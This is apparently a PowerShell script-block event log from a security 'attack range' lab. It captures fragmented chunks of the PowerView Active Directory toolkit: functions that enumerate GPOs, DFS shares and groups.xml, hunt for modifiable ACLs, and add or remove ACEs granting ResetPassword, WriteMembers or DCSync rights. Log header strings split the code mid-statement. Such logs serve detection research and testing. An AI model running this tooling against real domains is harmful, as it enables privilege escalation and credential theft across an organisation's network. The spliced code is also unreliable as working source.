if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks }
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
$GPOSearcher = Get-DomainSearcher @SearcherArguments
}
PROCESS {
if ($GPOSearcher) {
if ($PSBoundParameters['ComputerIdentity'] -or $PSBoundParameters['UserIdentity']) {
$GPOAdsPaths = @()
if ($SearcherArguments['Properties']) {
$OldProperties = $SearcherArguments['Properties']
}
$SearcherArguments['Properties'] = 'distinguishedname,dnshostname'
$TargetComputerName = $Null
if ($PSBoundParameters['ComputerIdentity']) {
$SearcherArguments['Identity'] = $ComputerIdentity
$Computer = Get-DomainComputer @SearcherArguments -FindOne | Select-Object -First 1
if(-not $Computer) {
Write-Verbose "[Get-DomainGPO] Computer '$ComputerIdentity' not found!"
}
$ObjectDN = $Computer.distinguishedname
$TargetComputerName = $Computer.dnshostname
}
else {
$SearcherArguments['Identity'] = $UserIdentity
$User = Get-DomainUser @SearcherArguments -FindOne | Select-Object -First 1
if(-not $User) {
Write-Verbose "[Get-DomainGPO] User '$UserIdentity' not found!"
}
$ObjectDN = $User.distinguishedname
}
# extract all OUs the target user/computer is a part of
$ObjectOUs = @()
$ObjectOUs += $ObjectDN.split(',') | ForEach-Object {
if($_.startswith('OU=')) {
$ObjectDN.SubString($ObjectDN.IndexOf("$($_),"))
}
}
Write-Verbose "[Get-DomainGPO] object OUs: $ObjectOUs"
if ($ObjectOUs) {
# find all the GPOs linked to the user/computer's OUs
$SearcherArguments.Remove('Properties')
$InheritanceDisabled = $False
ForEach($ObjectOU in $ObjectOUs) {
$SearcherArguments['Identity'] = $ObjectOU
$GPOAdsPaths += Get-DomainOU @SearcherArguments | ForEach-Object {
# extract any GPO links for this particular OU the computer is a part of
if ($_.gplink) {
$_.gplink.split('][') | ForEach-Object {
if ($_.startswith('LDAP')) {
$Parts = $_.split(';')
$GpoDN = $Parts[0]
$Enforced = $Parts[1]
if ($InheritanceDisabled) {
# if inheritance has already been disabled and this GPO is set as "enforced"
# then add it, otherwise ignore it
if ($Enforced -eq 2) {
$GpoDN
}
}
else {
# inheritance not marked as disabled yet
$GpoDN
}
}
}
}
# if this OU has GPO inheritence disabled, break so additional OUs aren't processed
if ($_.gpoptions -eq 1) {
$InheritanceDisabled = $True
}
}
}
}
if ($TargetComputerName) {
# find all the GPOs linked to the computer's site
$ComputerSite = (Get-NetComputerSiteName -ComputerName $TargetComputerName).SiteName
if($ComputerSite -and ($ComputerSite -notlike 'Error*')) {
$SearcherArguments['Identity'] = $ComputerSite
$GPOAdsPaths += Get-DomainSite @SearcherArguments | ForEach-Object {
if($_.gplink) {
# extract any GPO links for this particular site the computer is a part of
$_.gplink.split('][') | ForEach-Object {
if ($_.startswith('LDAP')) {
$_.split(';')[0]
}
}
}
}
}
}
# find any GPOs linked to the user/computer's domain
$ObjectDomainDN = $ObjectDN.SubString($ObjectDN.IndexOf('DC='))
$SearcherArguments.Remove('Identity')
$SearcherArguments.Remove('Properties')
$SearcherArguments['LDAPFilter'] = "(objectclass=domain)(distinguishedname=$ObjectDomainDN)"
$GPOAdsPaths += Get-DomainObject @SearcherArguments | ForEach-Object {
if($_.gplink) {
# extract any GPO links for this particular domain the computer is a part of
$_.gplink.split('][') | ForEach-Object {
if ($_.startswith('LDAP')) {
$_.split(';')[0]
}
}
}
}
Write-Verbose "[Get-DomainGPO] GPOAdsPaths: $GPOAdsPaths"
# restore the old properites to return, if set
if ($OldProperties) { $SearcherArguments['Properties'] = $OldProperties }
else { $SearcherArguments.Remove('Properties') }
$SearcherArguments.Remove('Identity')
$GPOAdsPaths | Where-Object {$_ -and ($_ -ne '')} | ForEach-Object {
# use the gplink as an ADS path to enumerate all GPOs for the computer
$SearcherArguments['SearchBase'] = $_
$SearcherArguments['LDAPFilter'] = "(objectCategory=groupPolicyContainer)"
Get-DomainObject @SearcherArguments | ForEach-Object {
if ($PSBoundParameters['Raw']) {
$_.PSObject.TypeNames.Insert(0, 'PowerView.GPO.Raw')
}
else {
$_.PSObject.TypeNames.Insert(0, 'PowerView.GPO')
}
$_
}
}
}
else {
$IdentityFilter = ''
$Filter = ''
$Identity | Where-Object {$_} | ForEach-Object {
$IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')
if ($IdentityInstance -match 'LDAP://|^CN=.*') {
$IdentityFilter += "(distinguishedname=$IdentityInstance)"
if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) {
# if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname
# and rebuild the domain searcher
$IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
Write-Verbose "[Get-DomainGPO] Extracted domain '$IdentityDomain' from '$IdentityInstance'"
$SearcherArguments['Domain'] = $IdentityDomain
$GPOSearcher = Get-DomainSearcher @SearcherArguments
if (-not $GPOSearcher) {
Write-Warning "[Get-DomainGPO] Unable to retrieve domain searcher for '$IdentityDomain'"
}
}
}
elseif ($IdentityInstance -match '{.*}') {
$IdentityFilter += "(name=$IdentityInstance)"
}
else {
try {
$GuidByteString = (-Join (([Guid]$IdentityInstance).To69859593-9fd6-4276-9750-0d12703f9101
4104132150x0124443Microsoft-Windows-PowerShell/Operationalwin-dc-tcontreras-attack-range-677.attackrange.local3254 catch {
Write-Verbose "[Get-DomainDFSShare] Get-DomainDFSShareV1 error disposing of the Results object: $_"
}
}
$DFSSearcher.dispose()
if ($pkt -and $pkt[0]) {
Parse-Pkt $pkt[0] | ForEach-Object {
# If a folder doesn't have a redirection it will have a target like
# \\null\TestNameSpace\folder\.DFSFolderLink so we do actually want to match
# on 'null' rather than $Null
if ($_ -ne 'null') {
New-Object -TypeName PSObject -Property @{'Name'=$Properties.name[0];'RemoteServerName'=$_}
}
}
}
}
catch {
Write-Warning "[Get-DomainDFSShare] Get-DomainDFSShareV1 error : $_"
}
$DFSshares | Sort-Object -Unique -Property 'RemoteServerName'
}
}
function Get-DomainDFSShareV2 {
[CmdletBinding()]
Param(
[String]
$Domain,
[String]
$SearchBase,
[String]
$Server,
[String]
$SearchScope = 'Subtree',
[Int]
$ResultPageSize = 200,
[Int]
$ServerTimeLimit,
[Switch]
$Tombstone,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
$DFSsearcher = Get-DomainSearcher @PSBoundParameters
if ($DFSsearcher) {
$DFSshares = @()
$DFSsearcher.filter = '(&(objectClass=msDFS-Linkv2))'
$Null = $DFSSearcher.PropertiesToLoad.AddRange(('msdfs-linkpathv2','msDFS-TargetListv2'))
try {
$Results = $DFSSearcher.FindAll()
$Results | Where-Object {$_} | ForEach-Object {
$Properties = $_.Properties
$target_list = $Properties.'msdfs-targetlistv2'[0]
$xml = [xml][System.Text.Encoding]::Unicode.GetString($target_list[2..($target_list.Length-1)])
$DFSshares += $xml.targets.ChildNodes | ForEach-Object {
try {
$Target = $_.InnerText
if ( $Target.Contains('\') ) {
$DFSroot = $Target.split('\')[3]
$ShareName = $Properties.'msdfs-linkpathv2'[0]
New-Object -TypeName PSObject -Property @{'Name'="$DFSroot$ShareName";'RemoteServerName'=$Target.split('\')[2]}
}
}
catch {
Write-Verbose "[Get-DomainDFSShare] Get-DomainDFSShareV2 error in parsing target : $_"
}
}
}
if ($Results) {
try { $Results.dispose() }
catch {
Write-Verbose "[Get-DomainDFSShare] Error disposing of the Results object: $_"
}
}
$DFSSearcher.dispose()
}
catch {
Write-Warning "[Get-DomainDFSShare] Get-DomainDFSShareV2 error : $_"
}
$DFSshares | Sort-Object -Unique -Property 'RemoteServerName'
}
}
}
PROCESS {
$DFSshares = @()
if ($PSBoundParameters['Domain']) {
ForEach ($TargetDomain in $Domain) {
$SearcherArguments['Domain'] = $TargetDomain
if ($Version -match 'all|1') {
$DFSshares += Get-DomainDFSShareV1 @SearcherArguments
}
if ($Version -match 'all|2') {
$DFSshares += Get-DomainDFSShareV2 @SearcherArguments
}
}
}
else {
if ($Version -match 'all|1') {
$DFSshares += Get-DomainDFSShareV1 @SearcherArguments
}
if ($Version -match 'all|2') {
$DFSshares += Get-DomainDFSShareV2 @SearcherArguments
}
}
$DFSshares | Sort-Object -Property ('RemoteServerName','Name') -Unique
}
}
########################################################
#
# GPO related functions.
#
########################################################
function Get-GptTmpl {
<#
.SYNOPSIS
Helper to parse a GptTmpl.inf policy file path into a hashtable.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Add-RemoteConnection, Remove-RemoteConnection, Get-IniContent
.DESCRIPTION
Parses a GptTmpl.inf into a custom hashtable using Get-IniContent. If a
GPO object is passed, GPOPATH\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf
is constructed and assumed to be the parse target. If -Credential is passed,
Add-RemoteConnection is used to mount \\TARGET\SYSVOL with the specified creds,
the files are parsed, and the connection is destroyed later with Remove-RemoteConnection.
.PARAMETER GptTmplPath
Specifies the GptTmpl.inf file path name to parse.
.PARAMETER OutputObject
Switch. Output a custom PSObject instead of a hashtable.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the remote system.
.EXAMPLE
Get-GptTmpl -GptTmplPath "\\dev.testlab.local\sysvol\dev.testlab.local\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf"
Parse the default domain policy .inf for dev.testlab.local
.EXAMPLE
Get-DomainGPO testing | Get-GptTmpl
Parse the GptTmpl.inf policy for the GPO with display name of 'testing'.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-GptTmpl -Credential $Cred -GptTmplPath "\\dev.testlab.local\sysvol\dev.testlab.local\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf"
Parse the default domain policy .inf for dev.testlab.local using alternate credentials.
.OUTPUTS
Hashtable
Ouputs a hashtable representing the parsed GptTmpl.inf file.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType([Hashtable])]
[CmdletBinding()]
Param (
[Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('gpcfilesyspath', 'Path')]
[String]
$GptTmplPath,
[Switch]
$OutputObject,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
$MappedPaths = @{}
}
PROCESS {
try {
if (($GptTmplPath -Match '\\\\.*\\.*') -and ($PSBoundParameters['Credential'])) {
$SysVolPath = "\\$((New-Object System.Uri($GptTmplPath)).Host)\SYSVOL"
if (-not $MappedPaths[$SysVolPath]) {
# map IPC$ to this computer if it's not already
Add-RemoteConnection -Path $SysVolPath -Credential $Credential
$MappedPaths[$SysVolPath] = $True
}
}
$TargetGptTmplPath = $GptTmplPath
if (-not $TargetGptTmplPath.EndsWith('.inf')) {
$TargetGptTmplPath += '\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf'
}
Write-Verbose "[Get-GptTmpl] Parsing GptTmplPath: $TargetGptTmplPath"
if ($PSBoundParameters['OutputObject']) {
$Contents = Get-IniContent -Path $TargetGptTmplPath -OutputObject -ErrorAction Stop
if ($Contents) {
$Contents | Add-Member Noteproperty 'Path' $TargetGptTmplPath
$Contents
}
}
else {
$Contents = Get-IniContent -Path $TargetGptTmplPath -ErrorAction Stop
if ($Contents) {
$Contents['Path'] = $TargetGptTmplPath
$Contents
}
}
}
catch {
Write-Verbose "[Get-GptTmpl] Error parsing $TargetGptTmplPath : $_"
}
}
END {
# remove the SYSVOL mappings
$MappedPaths.Keys | ForEach-Object { Remove-RemoteConnection -Path $_ }
}
}
function Get-GroupsXML {
<#
.SYNOPSIS
Helper to parse a groups.xml file path into a custom object.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Add-RemoteConnection, Remove-RemoteConnection, ConvertTo-SID
.DESCRIPTION
Parses a groups.xml into a custom object. If -Credential is passed,
Add-RemoteConnection is used to mount \\TARGET\SYSVOL with the specified creds,
the files are parsed, and the connection is destroyed later with Remove-RemoteConnection.
.PARAMETER GroupsXMLpath
Specifies the groups.xml file path name to parse.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the remote system.
.OUTPUTS
PowerView.GroupsXML
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.GroupsXML')]
[CmdletBinding()]
Param (
[Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('Path')]
[String]
$GroupsXMLPath,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
$MappedPaths = @{}
}
PROCESS {
try {
if (($GroupsXMLPath -Match '\\\\.*\\.*') -and ($PSBoundParameters['Credential'])) {
$SysVolPath = "\\$((New-Object System.Uri($GroupsXMLPath)).Host)\SYSVOL"
if (-not $MappedPaths[$SysVolPath]) {
# map IPC$ to this computer if it's not already
Add-RemoteConnection -Path $SysVolPath -Credential $Credential
$MappedPaths[$SysVolPath] = $True
}
}
[XML]$GroupsXMLcontent = Get-Content -Path $GroupsXMLPath -ErrorAction Stop
# process all group properties in the XML
$GroupsXMLcontent | Select-Xml "/Groups/Group" | Select-Object -ExpandProperty node | ForEach-Object {
$Groupname = $_.Properties.groupName
# extract the localgroup sid for memberof
$GroupSID = $_.Properties.groupSid
if (-not $GroupSID) {
if ($Groupname -match 'Administrators') {
$GroupSID = 'S-1-5-32-544'
}
elseif ($Groupname -match 'Remote Desktop') {
$GroupSID = 'S-1-5-32-555'
}
elseif ($Groupname -match 'Guests') {
$GroupSID = 'S-1-5-32-546'
}
else {
if ($PSBoundParameters['Credential']) {
$GroupSID = ConvertTo-SID -ObjectName $Groupname -Credential $Credential
}
else {
$GroupSID = ConvertTo-SID -ObjectName $Groupname
}
}
}
# extract out members added to this group
$Members = $_.Properties.members | Select-Object -ExpandProperty Member | Where-Object { $_.action -match 'ADD' } | ForEach-Object {
if ($_.sid) { $_.sid }
else { $_.name }
}
if ($Members) {
# extract out any/all filters...I hate you GPP
if ($_.filters) {
$Filters = $_.filters.GetEnumerator() | ForEach-Object {
New-Object -TypeName PSObject -Property @{'Type' = $_.LocalName;'Value' = $_.name}
}
}
else {
$Filters = $Null
}
if ($Members -isnot [System.Array]) { $Members = @($Members) }
$GroupsXML = New-Object PSObject
$GroupsXML | Add-Member Noteproperty 'GPOPath' $TargetGroupsXMLPath
$GroupsXML | Add-Member Noteproperty 'Filters' $Filters
$GroupsXML | Add-Member Noteproperty 'GroupName' $GroupName
$GroupsXML | Add-Member Noteproperty 'GroupSID' $GroupSID
$GroupsXML | Add-Member Noteproperty 'GroupMemberOf' $Null
$GroupsXML | Add-Member Noteproperty 'GroupMembers' $Members
$GroupsXML.PSObject.TypeNames.Insert(0, 'PowerView.GroupsXML')
$GroupsXML
}
}
}
catch {
Write-Verbose "[Get-GroupsXML] Error parsing $TargetGroupsXMLPath : $_"
}
}
END {
# remove the SYSVOL mappings
$MappedPaths.Keys | ForEach-Object { Remove-RemoteConnection -Path $_ }
}
}
function Get-DomainGPO {
<#
.SYNOPSIS
Return all GPOs or specific GPO objects in AD.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainSearcher, Get-DomainComputer, Get-DomainUser, Get-DomainOU, Get-NetComputerSiteName, Get-DomainSite, Get-DomainObject, Convert-LDAPProperty
.DESCRIPTION
Builds a directory searcher object using Get-DomainSearcher, builds a custom
LDAP filter based on targeting/filter parameters, and searches for all objects
matching the criteria. To only return specific properties, use
"-Properties samaccountname,usnchanged,...".69859593-9fd6-4276-9750-0d12703f9101
4104132150x0124433Microsoft-Windows-PowerShell/Operationalwin-dc-tcontreras-attack-range-677.attackrange.local2254 }
}
}
}
}
function Remove-DomainObjectAcl {
<#
.SYNOPSIS
Removes an ACL from a specific active directory object.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainObject
.DESCRIPTION
This function modifies the ACL/ACE entries for a given Active Directory
target object specified by -TargetIdentity. Available -Rights are
'All', 'ResetPassword', 'WriteMembers', 'DCSync', or a manual extended
rights GUID can be set with -RightsGUID. These rights are removed from the target
object for the specified -PrincipalIdentity.
.PARAMETER TargetIdentity
A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201)
for the domain object to modify ACLs for. Required. Wildcards accepted.
.PARAMETER TargetDomain
Specifies the domain for the TargetIdentity to use for the modification, defaults to the current domain.
.PARAMETER TargetLDAPFilter
Specifies an LDAP query string that is used to filter Active Directory object targets.
.PARAMETER TargetSearchBase
The LDAP source to search through for targets, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER PrincipalIdentity
A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201)
for the domain principal to add for the ACL. Required. Wildcards accepted.
.PARAMETER PrincipalDomain
Specifies the domain for the TargetIdentity to use for the principal, defaults to the current domain.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.PARAMETER Rights
Rights to add for the principal, 'All', 'ResetPassword', 'WriteMembers', 'DCSync'.
Defaults to 'All'.
.PARAMETER RightsGUID
Manual GUID representing the right to add to the target.
.EXAMPLE
$UserSID = Get-DomainUser user | Select-Object -ExpandProperty objectsid
Get-DomainObjectACL user2 -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $UserSID}
[no results returned]
Add-DomainObjectAcl -TargetIdentity user2 -PrincipalIdentity user -Rights ResetPassword
Get-DomainObjectACL user2 -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $UserSID }
AceQualifier : AccessAllowed
ObjectDN : CN=user2,CN=Users,DC=testlab,DC=local
ActiveDirectoryRights : ExtendedRight
ObjectAceType : User-Force-Change-Password
ObjectSID : S-1-5-21-883232822-274137685-4173207997-2105
InheritanceFlags : None
BinaryLength : 56
AceType : AccessAllowedObject
ObjectAceFlags : ObjectAceTypePresent
IsCallback : False
PropagationFlags : None
SecurityIdentifier : S-1-5-21-883232822-274137685-4173207997-2104
AccessMask : 256
AuditFlags : None
IsInherited : False
AceFlags : None
InheritedObjectAceType : All
OpaqueLength : 0
Remove-DomainObjectAcl -TargetIdentity user2 -PrincipalIdentity user -Rights ResetPassword
Get-DomainObjectACL user2 -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $UserSID}
[no results returned]
.LINK
https://social.technet.microsoft.com/Forums/windowsserver/en-US/df3bfd33-c070-4a9c-be98-c4da6e591a0a/forum-faq-using-powershell-to-assign-permissions-on-active-directory-objects?forum=winserverpowershell
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[CmdletBinding()]
Param (
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('DistinguishedName', 'SamAccountName', 'Name')]
[String[]]
$TargetIdentity,
[ValidateNotNullOrEmpty()]
[String]
$TargetDomain,
[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$TargetLDAPFilter,
[ValidateNotNullOrEmpty()]
[String]
$TargetSearchBase,
[Parameter(Mandatory = $True)]
[ValidateNotNullOrEmpty()]
[String[]]
$PrincipalIdentity,
[ValidateNotNullOrEmpty()]
[String]
$PrincipalDomain,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Switch]
$Tombstone,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
[ValidateSet('All', 'ResetPassword', 'WriteMembers', 'DCSync')]
[String]
$Rights = 'All',
[Guid]
$RightsGUID
)
BEGIN {
$TargetSearcherArguments = @{
'Properties' = 'distinguishedname'
'Raw' = $True
}
if ($PSBoundParameters['TargetDomain']) { $TargetSearcherArguments['Domain'] = $TargetDomain }
if ($PSBoundParameters['TargetLDAPFilter']) { $TargetSearcherArguments['LDAPFilter'] = $TargetLDAPFilter }
if ($PSBoundParameters['TargetSearchBase']) { $TargetSearcherArguments['SearchBase'] = $TargetSearchBase }
if ($PSBoundParameters['Server']) { $TargetSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $TargetSearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $TargetSearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $TargetSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $TargetSearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $TargetSearcherArguments['Credential'] = $Credential }
$PrincipalSearcherArguments = @{
'Identity' = $PrincipalIdentity
'Properties' = 'distinguishedname,objectsid'
}
if ($PSBoundParameters['PrincipalDomain']) { $PrincipalSearcherArguments['Domain'] = $PrincipalDomain }
if ($PSBoundParameters['Server']) { $PrincipalSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $PrincipalSearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $PrincipalSearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $PrincipalSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $PrincipalSearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $PrincipalSearcherArguments['Credential'] = $Credential }
$Principals = Get-DomainObject @PrincipalSearcherArguments
if (-not $Principals) {
throw "Unable to resolve principal: $PrincipalIdentity"
}
}
PROCESS {
$TargetSearcherArguments['Identity'] = $TargetIdentity
$Targets = Get-DomainObject @TargetSearcherArguments
ForEach ($TargetObject in $Targets) {
$InheritanceType = [System.DirectoryServices.ActiveDirectorySecurityInheritance] 'None'
$ControlType = [System.Security.AccessControl.AccessControlType] 'Allow'
$ACEs = @()
if ($RightsGUID) {
$GUIDs = @($RightsGUID)
}
else {
$GUIDs = Switch ($Rights) {
# ResetPassword doesn't need to know the user's current password
'ResetPassword' { '00299570-246d-11d0-a768-00aa006e0529' }
# allows for the modification of group membership
'WriteMembers' { 'bf9679c0-0de6-11d0-a285-00aa003049e2' }
# 'DS-Replication-Get-Changes' = 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2
# 'DS-Replication-Get-Changes-All' = 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2
# 'DS-Replication-Get-Changes-In-Filtered-Set' = 89e95b76-444d-4c62-991a-0facbeda640c
# when applied to a domain's ACL, allows for the use of DCSync
'DCSync' { '1131f6aa-9c07-11d1-f79f-00c04fc2dcd2', '1131f6ad-9c07-11d1-f79f-00c04fc2dcd2', '89e95b76-444d-4c62-991a-0facbeda640c'}
}
}
ForEach ($PrincipalObject in $Principals) {
Write-Verbose "[Remove-DomainObjectAcl] Removing principal $($PrincipalObject.distinguishedname) '$Rights' from $($TargetObject.Properties.distinguishedname)"
try {
$Identity = [System.Security.Principal.IdentityReference] ([System.Security.Principal.SecurityIdentifier]$PrincipalObject.objectsid)
if ($GUIDs) {
ForEach ($GUID in $GUIDs) {
$NewGUID = New-Object Guid $GUID
$ADRights = [System.DirectoryServices.ActiveDirectoryRights] 'ExtendedRight'
$ACEs += New-Object System.DirectoryServices.ActiveDirectoryAccessRule $Identity, $ADRights, $ControlType, $NewGUID, $InheritanceType
}
}
else {
# deault to GenericAll rights
$ADRights = [System.DirectoryServices.ActiveDirectoryRights] 'GenericAll'
$ACEs += New-Object System.DirectoryServices.ActiveDirectoryAccessRule $Identity, $ADRights, $ControlType, $InheritanceType
}
# remove all the specified ACEs from the specified object directory entry
ForEach ($ACE in $ACEs) {
Write-Verbose "[Remove-DomainObjectAcl] Granting principal $($PrincipalObject.distinguishedname) rights GUID '$($ACE.ObjectType)' on $($TargetObject.Properties.distinguishedname)"
$TargetEntry = $TargetObject.GetDirectoryEntry()
$TargetEntry.PsBase.Options.SecurityMasks = 'Dacl'
$TargetEntry.PsBase.ObjectSecurity.RemoveAccessRule($ACE)
$TargetEntry.PsBase.CommitChanges()
}
}
catch {
Write-Verbose "[Remove-DomainObjectAcl] Error removing principal $($PrincipalObject.distinguishedname) '$Rights' from $($TargetObject.Properties.distinguishedname) : $_"
}
}
}
}
}
function Find-InterestingDomainAcl {
<#
.SYNOPSIS
Finds object ACLs in the current (or specified) domain with modification
rights set to non-built in objects.
Thanks Sean Metcalf (@pyrotek3) for the idea and guidance.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainObjectAcl, Get-DomainObject, Convert-ADName
.DESCRIPTION
This function enumerates the ACLs for every object in the domain with Get-DomainObjectAcl,
and for each returned ACE entry it checks if principal security identifier
is *-1000 (meaning the account is not built in), and also checks if the rights for
the ACE mean the object can be modified by the principal. If these conditions are met,
then the security identifier SID is translated, the domain object is retrieved, and
additional IdentityReference* information is appended to the output object.
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER ResolveGUIDs
Switch. Resolve GUIDs to their display names.
.PARAMETER LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.
.PARAMETER SearchBase
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
Find-InterestingDomainAcl
Finds interesting object ACLS in the current domain.
.EXAMPLE
Find-InterestingDomainAcl -Domain dev.testlab.local -ResolveGUIDs
Finds interesting object ACLS in the ev.testlab.local domain and
resolves rights GUIDs to display names.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Find-InterestingDomainAcl -Credential $Cred -ResolveGUIDs
.OUTPUTS
PowerView.ACL
Custom PSObject with ACL entries.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.ACL')]
[CmdletBinding()]
Param (
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('DomainName', 'Name')]
[String]
$Domain,
[Switch]
$ResolveGUIDs,
[String]
[ValidateSet('All', 'ResetPassword', 'WriteMembers')]
$RightsFilter,
[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,
[Vali69859593-9fd6-4276-9750-0d12703f9101
4104132150x0124432Microsoft-Windows-PowerShell/Operationalwin-dc-tcontreras-attack-range-677.attackrange.local2154 }
}
}
}
}
function Add-DomainObjectAcl {
<#
.SYNOPSIS
Adds an ACL for a specific active directory object.
AdminSDHolder ACL approach from Sean Metcalf (@pyrotek3): https://adsecurity.org/?p=1906
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainObject
.DESCRIPTION
This function modifies the ACL/ACE entries for a given Active Directory
target object specified by -TargetIdentity. Available -Rights are
'All', 'ResetPassword', 'WriteMembers', 'DCSync', or a manual extended
rights GUID can be set with -RightsGUID. These rights are granted on the target
object for the specified -PrincipalIdentity.
.PARAMETER TargetIdentity
A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201)
for the domain object to modify ACLs for. Required. Wildcards accepted.
.PARAMETER TargetDomain
